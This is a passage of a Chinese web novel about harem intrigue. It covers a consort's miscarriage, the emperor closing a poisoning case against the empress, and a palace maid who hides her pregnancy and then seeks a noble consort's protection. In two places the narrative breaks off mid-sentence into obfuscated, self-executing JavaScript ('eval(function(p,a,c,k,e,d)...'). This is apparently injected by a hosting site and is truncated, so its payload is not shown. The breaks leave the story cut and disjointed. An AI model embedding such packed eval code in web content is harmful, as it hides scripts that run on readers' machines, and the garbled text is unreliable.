德嫔躺在榻上,脸色苍白如纸,眼眶通红,泪水就没停过。 昨夜宛如一场噩梦,她到现在都还未完全接受小产的事实。 绿袖她们被杖杀的消息传来时,她如坠冰窟,那些人虽是护主不力,可也是她身边的老人了,一夜之间全都没了。 她恨姬阆的无情,也怨恨万皇后的狠毒。 “娘娘,太医来了。” 一个新来的小宫女低声禀道。 德嫔挥手让太医进来,张太医诊脉后,开了一张调养的。 “张太医,本宫的孩子……真的没了?” 她强撑着坐起,声音虚弱无力。 张太医低头道:“娘娘节哀,微臣已尽力,但……但胎儿已去。娘娘要以玉体为重啊,只需静养数月,即可复元。” 德嫔的泪水再次决堤,她抓着被角,喃喃道:“是皇后……一定是她!她恨我昨夜在宴上揭穿她,她就派人洒水害我!万岁爷……万岁爷为何不信我……” 听到这些大不敬的话,众人只当是疯言疯语,什么都没听到。他们知道,德嫔已经失了圣心,若是没有太大的意外,应当是没什么前途可言。 更何况德嫔这没把门的嘴,迟早要害死她自个儿,能保住小命,都阿弥陀佛了。 张太医也不敢多言,只低头退下。 沈安查抄出来的那包东西,此时正安静地放在姬阆的御案上。 姬阆看着这包粉末,只是不容他多问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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半晌后,张院判躬身一礼道:“回陛下,此物似是人参、灵芝等药材混制而成,只是些寻常调养之用美颜粉。” 沈安面不改色,不过心底却暗自吐出一句,“果然如此”。 姬阆此时也跟着解释起来:“这是从皇后宫里搜查出来的。” 闻言,张院判倒吸口凉气,他差点就卷进宋美人小产这件事了,心头不由一阵后怕。 而此时,只见姬阆继续道:“既如此,那先前宋美人小产的事情,就与皇后无关了。沈安,这东西是你手下的人搜出来的,后续的事情,就交给你处置了。” 沈安闻言,心头微微一凛,知道姬阆这是在寻一个台阶,于是忙开口道:“陛下,臣有罪。东厂搜宫时,确实翻出此物,因当时不知是何物,故而上报至御前。臣未曾细查,险些冤枉皇后娘娘,臣甘愿领罚。” 姬阆挥手打断他,脸色虽沉,却并无雷霆之怒,他语气平平:“此事既是误会,你即刻去释放坤宁宫所有羁押的宫人,再去坤宁宫皇后赔罪。不过,皇后染疾期间宫务仍暂由甄贵妃掌管,你去吧。 沈安叩首退下,心思却百转千回。 姬阆此举,有些要大事化小,将燕窝案的疑云就此压下。可宋美人和德嫔的小产,背后若真有隐情,只怕不会就此了结。 他步出乾清宫,雪花扑面而来,寒意直入骨髓。 张院判见状,他人老成精,就更不会掺和这些事里去了,也躬身告退。 姬阆独自坐在御案前,望着那包已经被确定是美颜粉的东西,思绪如潮水般涌来。 24. 第 24 章 正月里一片祥和安定,只是除夕那日的事情,到底还是在宫外引起轩然大波。 都察院的几个老大人原本大年初一就打算集体上书,只是被内阁强行摁住了,这才没在新年闹出什么事来。 只等到正月十五后,奏折如山一般堆在姬阆的御案上,其中要求彻查后宫的折子占了大多数,还有极个别的酸儒直接要求姬阆废后。 “放肆!” 姬阆当着几位阁臣,将手里的奏折愤怒的扔到了地上。 内阁首辅张远山不动如山,连眼皮都没抬一下,似乎一切都在他的意料之中。 姬阆大动肝火,他倏地站起身,一拍手下的御案,叱道:“这是请朕彻查吗?这分明是在要挟!或者是,他们是想要逼宫!” 说到逼宫两个字时,姬阆几乎咬牙切齿。 此话一出,众人跪了一地,齐声道:“请万岁息怒!” “息怒?” 姬阆冷笑一声,目光扫过一排阁臣,“张远山,你也是这般想的吗?” “臣不敢。”张远山叩首在地,声音苍老却稳如磐石。 闻言,姬阆的脸色稍缓几分,旋即目光又转移到萧明远身上,沉声道:“肖明远,你是吏部尚书,百官之首,你的意思呢?” 萧明远年近花甲,精神却很好,他拱手一礼,“还请陛下息怒,除夕宴上之事,如今已传遍京城,民间议论纷纷。宫中皇嗣屡屡夭折,陛下膝下空虚,此乃国本之忧。朝臣们上疏,不过是为了大周江山永固,恳请陛下彻查后宫是非,以安天下人心。” “你!” 姬阆胸口如堵巨石,似乎是没想到他竟然说出这样一番话,指着萧明远气的直发抖。 不过,他知道萧明远所言不虚,这些年,后宫血雨腥风,外朝早已有风声,只是他一压再压下。可除夕宴上的丑闻如野火燎原般在宫外疯传,人言可畏四字最是不过。 “彻查?” 姬阆冷哼一声,目光如利刃扫过跪地的阁臣们,“东厂已经查明燕窝案乃是几个女史谋害宋氏,尔等还要如何?非要逼朕废后不成?” 在数日之前,在东厂的严刑拷打之下,尚食局的几个女史受不住刑,招供了是她们做的手脚,是她们毒害了宋美人的皇嗣,并无人指使。 宫中一时议论非非,只是谁也没公然表达出什么不满来,除了宋美人和德嫔。 不过宋美人人微言轻,又失了孩子,并没有人在意她的意见或是想法。 至于德嫔,打从初一那日之后,就被禁足在昌庆宫了。 张远山知道这个时候该他出来了,于是抬起头,眼中闪过一丝精光,低声道:“还请万岁明鉴,臣等自是信服。不敢妄议废后,只是若中宫确有不当,万岁当以国法处置,以正视听。” 殿内一时死寂。 姬阆挥袖坐下,脸色已经铁青。 他知内阁此举,已是外朝施压后的结果。 “此事到此为止,朕心意已决,不必再议!” 姬阆一意孤行,打定了主意要为这件事盖棺定论。 “尔等退下罢。”姬阆疲惫地挥手,“朕自有主张。” 阁臣们不能违拗其心意,毕竟他们身为阁臣,只对皇帝一人负责即可。 张远山临出门时,瞥了一眼御案上的奏折,心知此事不会就此了结。 虽然外边议论纷纷,不过让万皇后逃脱一劫还是令贞妃等人忿忿不平。 自从万皇后的人被抓进东厂之后,她们在宫中放出风声,说万皇后这些年戕害宫嫔,燕啄皇孙,传的有鼻子有眼的。 尽管宫正司发落了一批人,可流言依旧不止,甚至有愈演愈烈之势。 阳春三月,阳光洒进坤宁宫的殿内,万皇后的心却仿佛依旧停留在冬日。 她靠在榻上,脸色依旧苍白,太医的方子不知道已经换了多少副,但久不见好。 姬阆来探望过她一次,但万皇后拒不见客,汪嬷嬷不知劝了多少次了,但万皇后依旧我行我素。 见此,汪嬷嬷也只能作罢。汪嬷嬷叹了口气,退到一旁。她知主子心灰意冷,那巴掌的耻辱,如一根刺,深深扎进万皇后的心底。这些年,主子为姬阆守着中宫,手段虽狠,却也是迫不得已。现下外朝逼宫,后宫谣言四起,主子又岂能不寒心? 至于李玉娘,她最近在坤宁宫的日子非常不好过。但自从那日之后,姬阆仿佛彻底忘记了她这个人。 李玉娘坐在台阶上,痴痴地出神,不知思绪飘向何处。 这是她回到坤宁宫后就患上的毛病,一旦闲下来,就容易进入这样患得患失的状态。 就在这时,安静的环境突然被一道尖锐的声音打破,“李玉娘,又在这里偷懒,还磨蹭什么,指望着当娘娘不成?” 李玉娘被惊醒,她转过身去,映入眼帘的赫然是孙姑姑那张充满怒意的面庞。 李玉娘回过神,她的脸色一白,赶紧起身福了个礼,颤着声音:“孙姑姑恕罪,奴婢……奴婢只是坐着歇会儿,并无偷懒之意。” “歇会儿?” 孙姑姑冷哼一声,上前一步,伸手戳了戳李玉娘的额头:“坤宁宫是让你歇的地方?皇后娘娘还在病中,你这丫头不赶紧去茶膳间帮忙,还在这里发呆偷懒!莫不是还想着当娘娘是不是?我告诉你,宫里这样的丫头多了去了,万岁爷是天子,怎会为一个宫女费心?醒醒吧!” 孙姑姑看着这傻丫头,是气不打一处来。 她自认不是什么好人,可大家都是奴婢,这丫头好容易才捡回来了条命,不想着如何夹着尾巴做人,还这样没心没肺的,当真是寿星公上吊嫌命长! 原本她以为李玉娘死定了,没想到坤宁宫接二连三地出事,就连万皇后也病倒了,这丫头也幸运的活到了现在。 否则,要是搁以前,背主爬上姬阆龙塌的人,焉能看见第二日的太阳! 若能让这丫头清醒些,倒也是她孙姑姑的功德一件。 李玉娘低头不语,现下万皇后脱身,她知道孙姑姑的话虽刺耳,的确是大实话。 在坤宁宫里,她现在不过是个可有可无的宫女,稍有什么不慎,便是万劫不复。 “去去去,还不快滚去干活!” 孙姑姑甩了甩帕子,转身离去,口中还喃喃:“这丫头,当真是傻了……” 李玉娘抹了抹眼角的泪,她低着头,脚步匆匆地向茶膳间走去。 坤宁宫的廊道幽长,阳光透过雕花窗格洒下斑驳的光影,却照不进她心中的阴霾。 秋荷端着药碗与她擦肩而过,两人目光交汇的那一刻,李玉娘的心头微微一颤。她想开口说些什么,但突然想起了自己尴尬的身份,只得生生咽下话语,继续前行。 茶膳间内此时很是热闹,几个宫女正忙碌着熬制汤药。见李玉娘进来,其中一个名为翠儿的宫女瞥了她一眼,冷笑一声:“哟,这不是咱们的李娘娘吗?今儿怎么舍得来这儿了?” 李玉娘咬唇不语,默默卷起袖子,走到灶台边帮忙添柴。 她的手因寒冷而有些僵硬,动作也慢了半拍。 见此,翠儿更是阴阳怪气:“哎唷,果然是当了娘娘了!跟咱们这些奴婢就是不一样,连手脚都不利索。既如此,还不如回屋子歇着去,万一磕着碰着了,坤宁宫可没人心疼。” 闻言,其他宫女顿时低声窃笑起来。 李玉娘的脸色煞白,她知道这些日子坤宁宫上下对她多有不满。那一夜的恩宠如昙花一现,不仅没给她带来荣华,反倒成了众矢之的。 万皇后还在病中,她们这些下人本就战战兢兢,生怕一不小心就被迁怒。现下她成了那根刺眼的钉子,谁都想要去踩上一脚。 “够了!” 一个略带沙哑的声音响起,正是秋荷。 她不知何时跟了进来,将药碗搁在案上,瞪了翠儿一眼:“皇后娘娘的药还没熬好,你们倒有闲工夫嚼舌根?仔细孙姑姑知道,掌嘴你的嘴!” 翠儿冷哼了一声,她撇了撇嘴,露出很不服气的样子。然而她也不再多言,转身去忙别的了。 秋荷拉着李玉娘到没人的角落,低声道:“玉娘,你别理她们。皇后娘娘现下都自顾不暇了,不会留意这些小事。你只要小心些,咱们的日子总能过下去。” 李玉娘的眼泪终于忍不住滑落,她握住秋荷的手,声音哽咽:“秋荷,我……我……那夜的事,本是我无心之失,可现下我成了什么?坤宁宫的罪人吗?人人喊打的贱婢……万岁爷,他怕是早已忘了我的模样。” 似乎是说到了伤心处,她竟然干呕了几下。 李玉娘顺了顺胸膛,平复了一下,她瞥了眼秋荷,见她没有什么异样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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贤妃入殿时,面上带着惯有的笑容,福身行礼:“见过贵妃娘娘,娘娘这些日子掌管宫务辛苦了,我特意带了些江南进贡的贡茶,来给娘娘解乏。” 宜含起身相迎,嗔道:“贤妃姐姐见外了,你我都是一样的人,还说什么娘娘不娘娘的,姐姐依旧唤我妹妹罢。来,姐姐快坐。” 贤妃面上的笑容更甚了几分,“那姐姐就恭敬不如从命了。” 两人落座后,贤妃开门见山:“甄妹妹,听说外朝那些老臣又在上书了?他们一口咬定宋美人小产一事是皇后娘娘无能。万岁爷虽然暂时压住了,可我瞧着却是前朝怕是不会轻易揭过。妹妹管着宫务,可有听说些什么?” 宜含心知贤妃是来试探的,她笑了笑:“姐姐消息灵通,我倒是不如姐姐。万岁爷的心思,谁能猜透?咱们只管好自家宫中的事也就是了。” 贤妃的笑容僵了僵,她本想从宜含口中套出些风声,谁知宜含滴水不漏。 她转而道:“妹妹说的是,只是……德嫔那事闹得沸沸扬扬,宋美人至今还卧床不起。我想着,咱们是不是该去坤宁宫探望探望皇后娘娘,也好安抚人心。” 宜含的眸子微微眯起,她知贤妃没打什么好主意。万皇后和她们不对付,她们这样此时去坤宁宫难免不会被误以为是耀武扬威,万皇后本就病中,难保不会被气出个什么好歹。 到时,加上外朝再一闹,后位之争,只怕会更乱。 “贤妃姐姐的心意,本宫领了。只是皇后娘娘染疾,需静养,不宜见客。万岁爷也下了旨意,不许打扰。你我还是莫要自作主张的好。” 宜含的声音虽然格外温柔,却带着一丝不容置疑的意味,已经颇具上位者的威严。 贤妃心头一堵,却不敢发作,只得强颜欢笑:“甄妹妹考虑周全,是姐姐唐突了。那我就不扰妹妹的清静了,先行告辞。” 贤妃离去后,周颐冷哼一声:“贤妃不安好心!她这是想借刀杀人,坐收渔利。” 宜含点了点头,眼中闪过一丝忧色:“是啊,我虽然恨极了她,可眼下她却是不能出什么乱子!否则,我岂非跳进黄河也洗不清了。姑姑,你去打点一番,盯紧些,别让闲杂人等靠近坤宁宫。万岁爷虽然护着皇后,可人心浮动,谁知会出什么幺蛾子。” 周颐应了一声,缓步退了下去。 …… 25. 第 25 章 天际上一轮银月,将一层银白洒满了禁廷,在寂静的宫道上,若有若无传来打更宦官的梆子声。 坤宁宫的房内,李玉娘突然从塌上惊醒过来,回顾方才的梦境,她大口喘息着,冷汗已经浸湿了她月白的内裳。 她下意识看了看自己的小腹,不由自主捂了上去,似乎在感受其中生命力。 回想着方才可怕的梦,李玉娘揪心不已,她的月信已经三个月没来了,纵使她再愚钝,也知道这是什么意思。 她有孕了,那一夜让她有了姬阆的孩子。 李玉娘在坤宁宫多年,万皇后容不得有孕的嫔妃,她大致是知道的。 “怎么办……怎么办……” 李玉娘喃喃自语,泪水无声滑落。 她只是坤宁宫的低阶宫女,平日里战战兢兢侍奉万皇后,万皇后的手段,她虽未亲眼见过,却也从那些小产案例中窥视一二。 从万岁爷继位以来,那些有孕的嫔妃,一个个小产,从无例外。 万皇后眼下虽在病中,又似乎心灰意冷,可若知道她李玉娘怀了龙种,谁知道会不会被视作眼中钉,肉中刺。 似她这样低微的宫女,万皇后有的是办法让她悄无声息地消失在宫里。 李玉娘强撑着起身,披上件薄袄,踉跄走到窗边。月光洒进殿内,映得她的脸苍白如纸。 她低头看着小腹,她绝不允许,绝对不会让其他嫔妃的命运降临在她的身上,绝不…… 次日一早,李玉娘照例一早起来烧水烹茶。 茶膳间里,其他宫人正在忙碌着,或是为万皇后准备早膳,或是熬药。 路过药盅时,浓郁的药味充斥着李玉娘的鼻腔,她眉头一皱,强忍着心头的翻涌。深吸一口气后,勉强压下那股恶心感。 她知道这是孕吐的征兆,这些日子来,她的妊娠反应愈来愈频繁了。 “玉娘,你怎么了?脸色这么差。” 这时,秋荷突然走过来,目光有些担忧地看着她。 李玉娘脸上勉强露出一个笑,她摆了摆手,“我没事,只是……呕……” 话音未落,李玉娘忽然干呕起来,她的额头渗出一层细密的薄汗来。她快步跑到角落里,口中发酸,胃液混合着唾液垂直落下。 见此,秋荷立即倒了杯水递给李玉娘,还一面帮她拍着背。 半晌后,李玉娘终于缓过来,她的脸色还是有些发白,待她扶着墙转过身,却发现众人的目光都凝聚到自己身上。 意识到自己的举动有些出格,李玉娘心头一慌,她强压下惶恐,连忙拉起秋荷的手,虚弱地开口道:“这几日小日子来了,也不知道昨儿是吃了什么东西,脾胃跟我闹仗呢……” 她将自己的异样归咎于来了月信,算是找了一个理由。 此言一出,果然就有不少人的目光从李玉娘的身上收回来,又专心致志做自己的事去了。 秋荷不满地看着李玉娘,嗔了一句,“都什么时候了,你还有心思开玩笑!” 李玉娘笑了笑,“好啦,不是什么大不了的,大抵是凉了肚子,晚些时候你替我贴一剂艾叶,敷一敷也就是了。” 说罢,李玉娘见其他人的目光不再凝聚到自己身上,这才微微松了口气。 万皇后虽在病中,可老虎毕竟是老虎,就算是打个盹,也不是等闲就可以招惹的。谁知她会不会察觉到什么?她不能赌,也不能再等了。她要自救! 就在李玉娘刚发燃炉子,在她的背后,一道凌厉的目光立即锁定了她,赫然是汪嬷嬷。 刚刚李玉娘的举动,全然落在了她的眼里,她若有所思地瞥了李玉娘一眼,心中似有了什么猜测。 为了将戏坐实,吃完午饭后,李玉娘又故意挑在人多的时候清洗月事带,上面那一抹殷红格外醒目。 当然,这个时候总有那么一两个平日和她不对付的宫女出来挑事。 “李玉娘,这儿是什么地方?岂容你在这里洗这些腌臜东西!未免也太没规矩了些!” 说话的是伺候花圃的金杏,她是伺候花草的,仗着比李玉娘她们早进宫几年,托大拿乔也不是一日两日了。 李玉娘闻言,虽然金杏的话难听,不过也却也正中她的下怀。 她赶紧将还未清洗完的月事带收到一旁,低头赔了声不是:“金杏姐姐教训的是,是妹妹疏忽了。下次……下次妹妹去偏僻处洗。” 金杏见她服软,冷哼一声,又叨了几句:“知道就好,坤宁宫不是你撒野的地方!可别把以前学来的那些上不得台面的东西带到我们这儿来了。” 李玉娘听的火冒三丈,按着之前的脾性,怕是早就冲上去和她理论了。不过她现在不敢出风头,恨不得没人记得她这一号人才是。 就在这时,汪嬷嬷路过此地,见到是李玉娘,不由停下了脚步,倏地问了一句,“怎么回事?” 汪嬷嬷打万皇后还在太子妃的时候就跟着她了,在坤宁宫的宫人中可谓是积威甚重。 金杏也不敢在她跟前抖威风,此时如同一只乖巧可爱的巴儿狗。 她立即收起了刚才的趾高气扬,脸上堆起谄媚的笑容,躬身福了一礼,“嬷嬷,没……没什么大事。就是李玉娘这丫头不懂规矩,在这儿洗些不干净的东西,奴婢教训她两句罢了。” 汪嬷嬷的目光在金杏和李玉娘之间游移片刻,她那双眼睛,仿佛能洞穿人心。 李玉娘顿时心头一紧,低着头,并不敢直视,只盼着汪嬷嬷别多问。 她知道,这位汪嬷嬷对万皇后忠心耿耿,若是察觉她有孕,只怕坤宁宫上下都要掀起波澜。 “规矩?” 汪嬷嬷的声音带着一丝不悦,她瞥了金杏一眼,“金杏,我记得,管茶膳间的是孙箬琴。你一个伺候花圃的,什么时候又管起茶膳间的事来了?” 金杏脸色一白,赶紧跪下叩首:“嬷嬷教训的是,奴婢……是奴婢僭越了。奴婢这就走,这就走。” 她灰溜溜地起身, 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听了汪嬷嬷的处罚,不远处的宫女皆露出一抹怜悯。 李玉娘垂下头,声音有些低落,“奴婢遵命。” 汪嬷嬷深深看了她一眼后,这才不紧不慢地穿过月洞门,离开了。 李玉娘抹了把额头的冷汗,心想:这场戏总算圆过去了,可汪嬷嬷的那道目光,她分明感觉到了一丝危险。那老婆子心细如发,若是已生疑窦,她得尽快想办法脱身才是。 她端起铜盆,转身进了自己的屋子。与此同时,她的大脑飞速旋转,思考着如何能从坤宁宫脱身。 透过窗柩,李玉娘望着外边的台阶,心头不由暗了暗,她自恃美貌,如今又身怀龙裔,只要能过了眼下这一关,他日未必不能登临高位。 不多时,在她的脑海就浮现出一个人的身影来,她的脸上漾起一抹笑,知道自己应该求助谁了。 只是该如何让那位心甘情愿地帮助自己,却成了一道难题了。 与此同时,永和宫内,宜含伸手揉了揉有些发酸的脖颈。平日里她看着万皇后统辖六宫也不过如此,可当她真上手之后,却发现要想一切都有条不理地进行,绝非易事。 单说赏赐各宫嫔妃春缎就是一件难题,上好的缎子数量只有那么多,颜色俏的就更紧张了。 分了这个,那个该不满了。分了那个,这个又该发恼骚了。 简而言之,如何分,怎么分,是一件很有水平的事情。宜含只是暂管宫务,她不敢不敢贸然做主,遂先去请了万皇后的旨意。 万皇后心灰意冷,闭门不见客。宜含又去乾清宫求了姬阆的恩典,由他做主御赐各宫嫔妃春缎,以示隆恩。 此举虽惹得姬阆不太满意,但宜含觉的如此也好过后宫众人的抱怨。 不过……饶是宜含如此小心谨慎,依然免不了被她们背后议论几句,这也是后话了。 26. 第 26 章 三月桃李开的正盛,宜含素来喜爱梨花,她爱梨花的洁白,仿佛初雪一样纯净。 大抵是白日有宫务在身,不便前往迎春园赏花,遂,宜含都是在入了夜之后才在梨园里逛一圈。 沁人心脾的清香从鼻尖袭来,宜含舒适地眯上了眼,安静地享受着片刻的美好。自从她小产之后,已经许久未如此开怀过了。 就在这时,不远处若有若无传来一阵女子细微的哭泣声。 宜含睁开眼,有些纳罕,此处的梨园夜里向来人迹罕至,何故会有女子的哭声。 此时,随行的宫女都被她打发了,宜含壮着胆子,向着声音来源的地方寻了过去。 不多时,宜含就在一颗梨花树下,发现一个宫女打扮的年前女子,对月祈祷,期间还断断续续传来她的哭声。 宜含有些发毛,她惊呼一声:“是谁在那里?你是谁!” 夜深人静怎会有女子对月祈祷,她的脑海里顿时想起了幼时自家中长辈口中听到的志异故事。 似乎是听到宜含的声音,那年轻女子浑身一颤,有些害怕地转过身来,目光随即落到了宜含身上,她的脸上快速闪过一丝惊愕,然后很快就镇定下来了。 “奴……奴婢是李玉娘,参见……参加贵妃娘娘。” 听到对方如此说,宜含悬着的心落下了,既然认识她,那便应当不是什么山野精怪。 宜含舒了口气,她缓缓开口道:“你是哪里的宫女?为何此时出现在这里?” 闻言,年轻女子缓步走上前,她躬身福了一礼,“奴婢是坤宁宫的宫女李玉娘,因奉了掌事女官之命,这才来此收集桃花露。” 此女正是李玉娘,自从她下了要自救的决定,这才将主意打到了宜含身上。 至于为何她如此巧遇见了宜含,这还要说到她小宫女时,她有一个同乡就在迎春园,前些日子无意中从她的口中得知了甄贵妃隔三差五就会过来赏花,且都还在晚上。 李玉娘心头一转,最近都是主动接下了收集桃花露的事,虽然汪嬷嬷有些纳闷,但此事算是苦差事,加上又没人反对,到底没多说什么。 一连吹了几夜的冷风后,今儿可算是等到了自己想要等的人。 不过宜含在听到对方是坤宁宫的人,她的眉头不由皱了皱。她本就对坤宁宫那位心存忌惮,现下坤宁宫风雨飘摇,万皇后虽病中,却仍如一柄悬剑,让后宫人人自危。 这宫女既是坤宁宫的人,深夜出现在迎春园里,难保不是什么幌子。或许是万皇后派她来的,想要借机生事? 她定了定神,声音带着一丝警惕:“坤宁宫的宫女?既命你来收集桃花露?为何你不在隔壁的桃园里,却出现在此地?另外,本宫方才似乎听见你在哭,又是何故?” 李玉娘闻言,心头一喜,她本就打定主意要借宜含的手脱身,现下机会来了。 她赶紧跪下,声音颤抖,却带着一丝楚楚可怜:“回娘娘的话,奴婢……奴婢是奉了汪嬷嬷的命,被罚来此收集桃花露的。只是奴婢收集的差不多了,因喜爱梨花,这才来此地。还请娘娘明鉴,奴婢绝无欺瞒之意。只是为何哭……奴婢……奴婢有难言之隐!” 宜含闻言,眼中闪过一丝疑色,“难言之隐?” 她不是没听说过坤宁宫的闲言碎语,万皇后手段狠辣,手下的宫女们自然战战兢兢。可如今坤宁宫都这幅光景了,难不成万皇后还整日折腾下人? 可瞧着李玉娘这哭哭啼啼的模样,倒不像是作假。 她上前一步,月光下看清了李玉娘那张清丽的脸庞,似乎有些眼熟。然后她琢磨着李玉娘的名字,忽然,她似是想起了什么。 她心头一震,可不想起李玉娘是谁了吗。除夕那日,姬阆怒气冲冲从坤宁宫离开坤,顺手宠幸了坤宁宫的一个宫女,却没册封,转眼抛诸脑后。 那个宫女的名字,不是李玉娘又是谁。 “李玉娘?” 宜含试探道,“除夕那夜……你是那个被万岁爷带走的……” 李玉娘的泪水如决堤般涌出。 她叩首道:“贵妃娘娘好记性,正是奴婢。那夜东厂前来搜查坤宁宫,奴婢本以为死路一条,谁知……谁知奴婢被万岁爷瞧中了。” 宜含有些不解她的意思,继续又问:“那你在此地哭又是?” 李玉娘环顾左右后,这才伏地一拜,她两眼含泪,“求贵妃娘娘慈悲,救奴婢性命……” 闻言,宜含就更疑惑了,脸上尽是疑色。 李玉娘泣了几声,这才拿帕子掩住脸,解释起来:“不瞒娘娘说,奴婢那日虽得了万岁爷的恩宠,可奴婢自知身份低微,又是踩着皇后娘娘的脸才得了这份宠,自是不敢妄想什么。原也是打算鹌鹑似地聊度此生,只是……只是前不久,奴婢发现……发现自己竟有了身孕……” “是万岁爷的龙种!奴婢怕……怕皇后娘娘知道,会要了奴婢的性命。宫里这些娘娘的下场,奴婢都是瞧见了的。奴婢不敢赌,只能来此祈祷上苍保佑。谁料竟遇到娘娘,还请贵妃娘娘救奴婢母子一命!” 宜含的脸色陡然一变。 有孕?万岁爷的孩子? 她看着眼前的李玉娘,似乎是不敢置信,仅仅承恩一次就有了身子,这未免也太过巧合了罢。 想到此处,她狐疑地打量了李玉娘一眼。 似乎是被宜含的目光盯得有些害怕,李玉娘抿了抿唇,她蓦然跪地,“奴婢万死也不敢欺瞒娘娘啊,皇后娘娘的性子,想来贵妃娘娘也当知晓一二,要是让她知道了,奴婢焉能有活路。” 李玉娘深知打蛇打七寸的道理,万皇后本就善妒成性,稍微有资历的宫妃大多都知晓此事。况且这位甄贵妃滑胎一事,里面还有万皇后的手脚,两人可不是结下了梁子嘛。 与此同时,宜含也在暗自思忖:若李玉娘所言非虚,这孩子就是皇嗣,甭管是男是女,只要保下来便是天大的功劳。 她深吸一口气,对李玉娘抬了抬手,低声道:“你且起来回话,此事非同小可,你如何证明是万岁爷的皇嗣?又为何来迎春园?可是有人指点?” 李玉娘抹泪,她缓缓起身,“娘娘明鉴,奴婢怎么敢欺瞒娘娘?那夜万岁爷一时兴起,奴婢……奴婢也无从抗拒。奴婢近日恶心呕吐的厉害,虽被奴婢以月信受凉的借口糊弄了过去,可早晚都瞒不住坤宁宫那些人。汪嬷嬷已经对奴婢生 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李玉娘这个这孩子来得太巧了,恰逢德嫔和宋美人小产,她的孩子跟着来了。姬阆一定会百般重视,不过贞妃、贤妃她们若知道了,只怕会徒生事端,她得尽快将此事给办了。 待宜含回了永和宫,立即去请了太医院轮值的几位太医。 待人都到齐了,这才让他们一一给李玉娘诊脉,再三确定都是喜脉后,宜含当机立断决定露夜前往乾清宫。 所谓迟则生变,她带着几位太医和李玉娘,轰轰烈烈朝着乾清宫的方向而去。 不过很不巧,宜含来的不是时候,近日姬阆为福建的战事心力交瘁,昨儿刚传来捷报,这让神经紧绷了大半个月的姬阆瞬间一松,今儿睡的格外早了些。 “贵妃娘娘,实在是万岁爷已经歇下了,若有什么要事,明儿一早再来乾清宫面圣也是一样的。” 说话的是姬阆身边的大太监崔玉顺,这也就只是宜含了,要换了旁的娘娘,他的语气指定没有这般好了。 宜含也不跟他废话,直接将此事的前因后果尽数交代了,她压低了声音:“崔大伴,着实不是本宫不懂规矩,只是这事您应当也明白,若万岁爷有什么,本宫担着就是。” 崔玉顺面色一变,他着实没想到会是这样的大事,如此冒着惹怒姬阆的风险,倒也不是不值得一试。他看了眼宜含身后有些嗫喏的李玉娘,似乎没想到这个宫女会有如此运道。 他自是认得她的,本以为这个宫女承了恩宠却没有封诰,这辈子也就是老死宫中的命了,却不想她不声不响竟然憋出这么大一个消息出来。 若当真生下了万岁爷的第一个皇子,这宫女的福气指不定还要在后头呢! 想到此处,崔玉顺口有些发干,他沉着脸,对宜含躬身福了一礼,“既贵妃娘娘都如此说了,奴婢再推辞也就太不知好歹了,奴婢这就替娘娘通禀,还请娘娘稍等片刻……” 说罢,崔玉顺转身入了乾清宫。 不多时,只见乾清宫的灯火再次燃起,同时自内传出崔玉顺的声音,“贵妃娘娘,万岁爷请您进去。” 27. 第 27 章 穿过幽长暗淡的宫道,宜含带着李玉娘缓步进入了乾清宫的内殿,此时姬阆已经穿戴完毕,他身着月色内衫,散着头发,外头仅仅披着一件玄色的大氅。 宜含刚一进殿,便躬身行礼请罪,“臣妾有罪,实不该扰了万岁爷的清净。” “无妨。” 姬阆微抬了下手,示意宜含起来,而后又指着李玉娘,直奔主题:“可是她有了身子?太医可曾诊过脉了?” 先前崔玉顺已经将事情大致同他知会了一声,他已经知晓了此事的来龙去脉。 宜含起身再拜,将身后的李玉娘推了出来,贝齿轻启:“万岁爷容禀,今儿臣妾处理完宫务,去迎春园赏花时无意之中遇见李玉娘在哭,好奇之下,这才多问了几句。不成想,此女竟然身怀龙裔,臣妾深知皇嗣事关重大,这才贸然做主将她带来了乾清宫。来此之前,臣妾已经让轮值的钟、王两位太医诊过脉了。” “不过……” 宜含话锋一转,目光直视上首的姬阆,“两位太医虽都诊出喜脉,还请万岁传召侍奉乾清宫的太医一同来诊脉,这样就更稳妥了。” 说罢,宜含让随行的两位太医出来回话。 姬阆点了点头,知道宜含心存顾虑,于是对着侍立在门口的崔玉顺吩咐道:“按贵妃的意思,去传。” 崔玉顺领命退下,就在这个空隙,两位太医将诊断结果上报了姬阆。 听着他们的声音,姬阆的目光却扫向跪在地上的李玉娘,他的眼睛,似乎能够透过皮囊,只穿人心。 很快,只听见大殿响起了男子充满磁性的声音:“朕记得你是坤宁宫的宫女吧,为何你不先禀了皇后?却是贵妃带你来见朕。” 姬阆的目光游离在宜含和李玉娘身上,他的心头涌出无数种可能,这会不会又是一场阴谋算计?或者说,是他让甄贵妃掌管六宫,让她生出了不该有的心思,想要算计坤宁宫! 宜含有些心惊肉跳,如此情景她不是没想过,只不过帮李玉娘一把,除了想要利用她之外,更多的还有一份怜悯,一份对无辜皇嗣的怜悯。 她知道,这个时候她不能回话,无论说什么都错的,只能让李玉娘挑起话头,她再补充。 李玉娘有些发毛,身子跟着不由一颤,她利落地跪下,颤着声儿道:“万岁爷,先前德嫔主子和宋美人都……都滑了胎,奴婢……奴婢自从知道怀了孕,心里害怕极了……不敢乱说,也不敢告诉旁人。这些日子汪嬷嬷命奴婢去迎春园收集桃花露,奴婢也是一时感伤,对月祈祷时,这才遇见了贵妃娘娘……” 说到此处,李玉娘也是落了几滴泪出来,她说到倒也不假,自从知道自己有了身子,的确胆战心惊,生怕什么时候就被人悄无声息地除掉了。 “贵妃娘娘心善,菩萨似的人,满宫人都是知道的。奴婢原也是没敢跟贵妃娘娘说的,只是……” 李玉娘的哭腔更甚了几分:“只是奴婢怕,害怕不知道什么时候悄无声息地滑了胎,再丢了性命。奴婢也想要活,一时大着胆子求了贵妃娘娘。好在娘娘怜惜奴婢,这才带了奴婢过来。” 看着李玉娘哭的梨花带雨,说的也是情真意切,并不似作假的样子。再想到万皇后的作风,姬阆心头沉沉一叹,也信了七八分。李玉娘大抵也是怕了,怕万皇后对她下手,这才设法求到了甄贵妃跟前去。 “罢了,你且先起来!待太医为你诊过脉之后,朕会给你一个名分,不会让你受累的。” 